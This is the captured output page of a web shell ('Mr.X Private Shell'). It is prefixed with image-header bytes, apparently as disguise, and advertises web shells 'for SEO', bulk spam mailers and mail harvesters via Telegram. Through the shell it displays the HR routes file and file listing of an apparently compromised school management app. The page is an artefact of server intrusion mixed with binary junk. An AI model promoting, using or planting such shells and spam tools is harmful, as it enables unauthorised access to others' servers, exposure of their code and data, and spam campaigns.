����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
import express from "express";
import { userAuth, checkRole } from "../middlewares/AuthMiddleware.js";
import validateBody from "../middlewares/Validator.js";
import {uploadFile} from '../config/multer.js'

// Import dashboard controllers
import {
  getDashboardSummary,
  getStaffAnalytics,
  getLeaveAnalytics,
} from "../controllers/hr/hrDashboardController.js";

// Import staff management controllers
import {
  getStaffList,
  createStaff,
  getStaffDetails,
  updateStaff,
  deleteStaff,
  getStaffStats,
  getStaffDepartmentChart,
  getStaffPerMonthChart,
  getStaffRoleChart,
  getTeachersCourseChart

} from "../controllers/hr/staffController.js";

// Import student management controllers
import {
  getStudentList,
  createStudent,
  getStudentDetails,
  updateStudent,
  deleteStudent,
  assignToClass,
  promoteStudent,
  getStats,
  studentsPerClassChart,
  studentsPerYearChart,
  
} from "../controllers/hr/studentController.js";

// Import leave management controllers
import {
 hrApplyLeave,
 hrBulkAddStaffQuota,
 hrCancelLeave,
 hrGetAllStaffQuotas,
 hrGetMyLeaves,
 hrGetMyQuota,
 hrGetPendingStaffLeaves,
 hrGetStaffLeaveDetails,
 hrGetStaffLeaveQuota,
 hrGetStaffLeaves,
 hrProcessStaffLeave,
 hrUpdateStaffLeaveQuota
} from "../controllers/hr/leaveController.js";

// Import attendance controllers
import {
  adminGetAllStaffForAttendance,
  adminCheckIn,
  adminCheckOut,
  adminMarkAbsent,
  adminMarkLeave,
  adminBulkCheckIn,
  adminBulkCheckOut,
  adminBulkMarkAbsent,
  adminGetAttendanceList,
  adminGetAttendanceDetails,
  adminUpdateAttendance,
  adminDeleteAttendance,
  adminGetAttendanceSummary,
  adminGetAttendanceStats,
  adminGetAttendanceCharts,
  adminGetWorkHours,
  adminUpdateWorkHours,
} from "../controllers/admin/adminAttendanceController.js";

// Import department controllers
import {
  createDepartment,
  updateDepartment,
  deleteDepartment,
  addDepartmentMembers,
  removeDepartmentMember,
  getDepartmentStats,
  getActiveInactiveChart,
  getAllDepartments,
  getDepartmentById,
  getMemberDistributionChart
} from "../controllers/hr/departmentController.js";

// Import document controllers
import {
  getDocumentsList,
  uploadDocument,
  getDocumentDetails,
  updateDocument,
  verifyDocument,
  deleteDocument,
  getExpiringDocuments,
  getUserDocuments,
} from "../controllers/hr/documentController.js";

import {
  createEvent, 
  deleteEvent, 
  getEventById, 
  getEvents, 
  updateEvent,
  getStatCards,
  getEventsByTypeChart,
  getParticipantsDistributionChart,
  getEventsByVisibilityChart
} 
from '../controllers/hr/eventController.js'

import {generateMonthlySalaries,getMonthlySalarySummary,getSalariesList,getSalaryDetails,getStaffSalaryHistory,recordSalaryPayment,updateSalary} from '../controllers/hr/salaryConroller.js'

import {
  createQuestion, 
  deleteQuestion, 
  listQuestions, 
  updateQuestion,
  bulkUploadQuestions
} from '../controllers/hr/teacherSurveyQues.js'

import {
  getPerformanceSummaryForCharts,
  getStaffKPIDetail,
  getStaffKPIs,
  getStatsKPIs
} from '../controllers/hr/performanceController.js'

import {
  createContract, 
  deleteContract, 
  getContractsList, 
  getContractDetails, 
  updateContract,
  getContractExpiryChart,
  getContractStats,
  getContractTypeChart
} from '../controllers/hr/contractController.js'

import {
  createTimetable,
  updateTimetable,
  deleteTimetable,
  getAllTimetables,
  getTimetableById,
} from '../controllers/hr/timetableController.js'

import {changeHrEmail,changeHrPassword,getHrProfile, updateHrProfile} from '../controllers/hr/settingController.js'

import {
  getAllClasses,
  createClass,
  getClassById,
  updateClass,
  deleteClass,
  getClassStats,
  getClassStatusChart,
  getStudentsPerClassChart,
  getCourseOptions,
  getClassOptions,
  getTeacherOptions,
  assignTeacherToClass,
  assignTeachersToClass,
  getClassTeachers,
  getClassesByTeacher,
  removeTeacherFromClass
} from "../controllers/admin/adminClassController.js";

// Import validation schemas
import { createClassSchema, createNotificationSchema, createUserSchema, queryStatusSchema, replyQuerySchema, updateClassSchema, updateNotificationSchema, updateUserSchema } from "../validations/index.js";
import { createEventSchema,updateEventSchema, createContractSchema, updateContractSchema, createTimetableSchema, updateTimetableSchema } from "../validations/hrValidations.js";
import { 
  archiveNotification, 
  createNotification, 
  deleteNotification, 
  getNotifications, 
  publishNotification, 
  updateNotification ,
  getNotificationById,
  getNotificationStats
} from "../controllers/notificationController.js";
import { createCourseSchema, createStudentSchema, updateCourseSchema, updateStudentSchema } from "../validations/adminValidation.js";
import { getTimetableByClass, getTimetableByClassChart, getTimetableOptions, getTimetableStats, getTimetableStatusChart } from "../controllers/admin/timetableController.js";
import { createCourse, deleteCourse, getAllCourses, getCourseById, getCoursesStats, getCoursesStatusChart, updateCourse } from "../controllers/admin/adminCourseController.js";
import { deleteQuery, getQueries, getQueryDetails, getQueryStats, replyToQuery, updateQueryStatus } from "../controllers/admin/adminQueryController.js";

const router = express.Router();

router.use(userAuth, checkRole(["hr"]));

// Dashboard routes
router.get("/dashboard/summary", getDashboardSummary);
router.get("/dashboard/staff-analytics", getStaffAnalytics);
router.get("/dashboard/leave-analytics", getLeaveAnalytics);

// Staff management routes
router.get("/staff", getStaffList);
router.post("/staff", validateBody(createUserSchema), createStaff);
router.get("/staff/:id", getStaffDetails);
router.put("/staff/:id", validateBody(updateUserSchema), updateStaff);
router.delete("/staff/:id", deleteStaff);
router.get("/staff-stats", getStaffStats);
router.get("/staff-department",getStaffDepartmentChart)
router.get("/staff-perMonth",getStaffPerMonthChart)
router.get("/staff-role",getStaffRoleChart)
router.get("/staff-course",getTeachersCourseChart)

// Student management routes
router.get("/students", getStudentList);
router.post("/students", validateBody(createStudentSchema), createStudent);
router.get("/students/:id", getStudentDetails);
router.put("/students/:id", validateBody(updateStudentSchema), updateStudent);
router.delete("/students/:id", deleteStudent);
router.post("/students/:id/assign-class", assignToClass);
router.post("/students/:id/promote", promoteStudent);
router.get("/students-stats", getStats);
router.get("/students-class-chart", studentsPerClassChart);
router.get("/students-year-chart", studentsPerYearChart);

// Leave management routes
// router.get("/leave/stats", getLeaveStats);
// router.get("/leave/department-chart", getLeaveByDepartment);
// router.get("/leave/type-distribution-chart", getLeaveTypeDistribution);
// router.get("/leave/monthly-trend-chart", getMonthlyLeaveTrend);
// router.get("/leave", getLeaveList);
// router.post("/leave", applyLeave);
// router.get("/leave/:id", getLeaveDetails);
// router.put("/leave/:id/process", processLeave);
// router.delete("/leave/:id", cancelLeave);
// router.get("/leave-quota", getUserLeaveQuota);
// router.put("/leave-quota", updateLeaveQuota);
// router.post("/leave-quota", addLeaveQuotaForUser);
// router.post("/leave-quota/bulk", bulkAddLeaveQuota);
// router.get("/leave-calendar", getLeaveCalendar);
// router.get("/leave-quota/all-users", getAllUsersLeaveQuota);


// Attendance routes
router.get("/attendance-work-hours",  adminGetWorkHours);
router.put("/attendance-work-hours",  adminUpdateWorkHours);
router.get("/attendance-staff-list",  adminGetAllStaffForAttendance);
router.post("/attendance-check-in",  adminCheckIn);
router.post("/attendance-check-out",  adminCheckOut);
router.post("/attendance-mark-absent",  adminMarkAbsent);
router.post("/attendance-mark-leave",  adminMarkLeave);
router.post("/attendance-mark-leave",  adminMarkLeave);
router.post("/attendance-bulk-check-in",  adminBulkCheckIn);
router.post("/attendance-bulk-check-out",  adminBulkCheckOut);
router.post("/attendance-bulk-mark-absent",  adminBulkMarkAbsent);
router.get("/attendance/list",  adminGetAttendanceList);
router.get("/attendance-summary",  adminGetAttendanceSummary);
router.get("/attendance-stats",  adminGetAttendanceStats);
router.get("/attendance-charts",  adminGetAttendanceCharts);
router.get("/attendance/:id",  adminGetAttendanceDetails);
router.put("/attendance/:id",  adminUpdateAttendance);
router.delete("/attendance/:id", adminDeleteAttendance);


// Department routes
router.get("/department-stats", getDepartmentStats);
router.get('/departments/status/chart', getActiveInactiveChart);
router.get('/departments/members/chart', getMemberDistributionChart);
router.post("/departments", createDepartment);
router.get("/departments", getAllDepartments);
router.get("/departments/:id", getDepartmentById);
router.put("/departments/:id", updateDepartment);
router.delete("/departments/:id", deleteDepartment);
router.post("/departments/:id/members", addDepartmentMembers);
router.delete(
  "/departments/:departmentId/members/:userId",
  removeDepartmentMember
);



// Document routes
router.get("/documents", getDocumentsList);
router.post("/documents", uploadDocument);
router.get("/documents/:id", getDocumentDetails);
router.put("/documents/:id", updateDocument);
router.put("/documents/:id/verify", verifyDocument);
router.delete("/documents/:id", deleteDocument);
router.get("/expiring-documents", getExpiringDocuments);
router.get("/user-documents/:userId", getUserDocuments);

// Salary routes
router.post('/salaries/generate-monthly',generateMonthlySalaries);
router.get('/salaries/summary',getMonthlySalarySummary);
router.get('/salaries',getSalariesList);
router.get('/salaries/:id',getSalaryDetails);
router.get('/staff/:id/salary-history',getStaffSalaryHistory);
router.post('/salaries/:id/record-payment',recordSalaryPayment);
router.patch('/salaries/:id',updateSalary);

// Event routes
router.post('/events',validateBody(createEventSchema),createEvent);
router.get('/events/stats/cards',getStatCards);
router.get('/events/chart-type',getEventsByTypeChart);
router.get('/events/chart-visibility',getEventsByVisibilityChart);
router.get('/events/chart-participants-distribution',getParticipantsDistributionChart);
router.get('/events',getEvents);
router.get('/events/:id',getEventById);
router.patch('/events/:id',validateBody(updateEventSchema),updateEvent);
router.delete('/events/:id',deleteEvent);


// Teacher Survey Question routes
router.post('/teacher-survey/questions',createQuestion);
router.get('/teacher-survey/questions',listQuestions);
router.patch('/teacher-survey/questions/:id',updateQuestion);
router.delete('/teacher-survey/questions/:id',deleteQuestion);
router.post('/teacher-survey/questions/bulk-upload',uploadFile.single('file'), bulkUploadQuestions);

// Performance management routes
router.get('/performance/kpis', getStatsKPIs);
router.get('/performance/summary', getPerformanceSummaryForCharts);
router.get('/performance/staff-kpis', getStaffKPIs);
router.get("/performance-staff-kpis/:teacherId", getStaffKPIDetail)

// Contract routes
router.post("/contract", uploadFile.single('file'), validateBody(createContractSchema), createContract);
router.get("/contract", getContractsList);
router.get("/contract/:id", getContractDetails);
router.patch("/contract/:id", uploadFile.single('file'), validateBody(updateContractSchema), updateContract);
router.delete("/contract/:id", deleteContract);
router.get("/contract-stats", getContractStats);
router.get("/contract-expiry/chart", getContractExpiryChart);
router.get("/contract-type/chart", getContractTypeChart);

// Timetable routes
router.post("/timetables",uploadFile.single('file'), createTimetable);
router.get("/timetables", getAllTimetables);
router.get("/timetables/:id", getTimetableById);
router.patch("/timetables/:id", validateBody(updateTimetableSchema),uploadFile.single('file'),  updateTimetable);
router.delete("/timetables/:id", deleteTimetable);
router.get("/timetable-stats", getTimetableStats)
router.get("/timetable-class-chart", getTimetableByClassChart)
router.get("/timetable-status-chart", getTimetableStatusChart)
router.get("/timetable-class-chart", getTimetableByClass)
router.get("/timetables-options", getTimetableOptions)

router.get('/notifications/stats', getNotificationStats);        // ← Move this FIRST
router.post('/notifications', uploadFile.array('file'), validateBody(createNotificationSchema), createNotification);
router.get('/notifications', getNotifications);
router.get('/notifications/:id', getNotificationById);           // ← :id route comes LAST
router.put('/notifications/:id', uploadFile.array('file'), validateBody(updateNotificationSchema), updateNotification);
router.patch('/notifications/:id/publish', publishNotification);
router.patch('/notifications/:id/archive', archiveNotification);
router.delete('/notifications/:id', deleteNotification);

router.get('/profile', getHrProfile);
router.patch('/change-email', changeHrEmail)
router.patch('/change-password', changeHrPassword)
router.patch('/change-profile', updateHrProfile)


// Leave management routes
// Self-service
router.post("/leave/apply", hrApplyLeave);
router.get("/my-leaves", hrGetMyLeaves);
router.get("/my-quota", hrGetMyQuota);
router.delete("/leave/:id", hrCancelLeave);

router.get("/leave/staff", hrGetStaffLeaves);
router.get("/leave/staff/pending", hrGetPendingStaffLeaves);
router.get("/leave/staff/:id", hrGetStaffLeaveDetails);
router.put("/leave/staff/process/:id", hrProcessStaffLeave);

router.get("/leave/staff/quota/all", hrGetAllStaffQuotas);
router.get("/leave/staff/quota/:userId", hrGetStaffLeaveQuota);
router.put("/leave/staff/quota/:userId", hrUpdateStaffLeaveQuota);
router.post("/leave/staff/quota/bulk", hrBulkAddStaffQuota);


router.get('/classes/stats', getClassStats);
router.get('/classes/students-class', getStudentsPerClassChart);
router.get('/classes-options', getClassOptions);
router.get('/classes/status', getClassStatusChart)
router.get("/classes", getAllClasses);
router.post("/classes", validateBody(createClassSchema), createClass);
router.get("/classes/:id", getClassById);
router.patch("/classes/:id", validateBody(updateClassSchema), updateClass);
router.delete("/classes/:id", deleteClass);
router.get('/course-options', getCourseOptions)
router.get('/teacher-options', getTeacherOptions)
router.get("/class/:classId/teachers", getClassTeachers);
router.post("/classes/:classId/teachers", assignTeacherToClass);
router.post("/class/:classId/teachers/bulk", assignTeachersToClass);
router.delete("/class/:classId/teachers/:teacherId", removeTeacherFromClass);
router.get("/class/by-teacher/:teacherId", getClassesByTeacher)


// Course management routes
router.get('/courses/stats', getCoursesStats);
router.get('/courses/status/chart',getCoursesStatusChart );
router.get("/courses", getAllCourses);
router.post("/courses", validateBody(createCourseSchema), createCourse);
router.get("/courses/:id", getCourseById);
router.patch("/courses/:id",validateBody(updateCourseSchema), updateCourse);
router.delete("/courses/:id", deleteCourse);

// Query management routes
router.get('/queries/stats', getQueryStats);  
router.get("/queries", getQueries);
router.get("/queries/:id", getQueryDetails); 
router.post("/queries/:id/reply", validateBody(replyQuerySchema), replyToQuery);
router.put("/queries/:id/status", validateBody(queryStatusSchema), updateQueryStatus);
router.delete('/queries/:id', deleteQuery);


export default router;

Filemanager

Name Type Size Permission Actions
accountsRoutes.js File 5.47 KB 0644
adminRoutes.js File 19.54 KB 0644
health.js File 255 B 0644
hrRoutes.js File 15.27 KB 0644
index.js File 573 B 0644
studentRoutes.js File 4.82 KB 0644
teacherRoutes.js File 8.8 KB 0644
userRoutes.js File 794 B 0644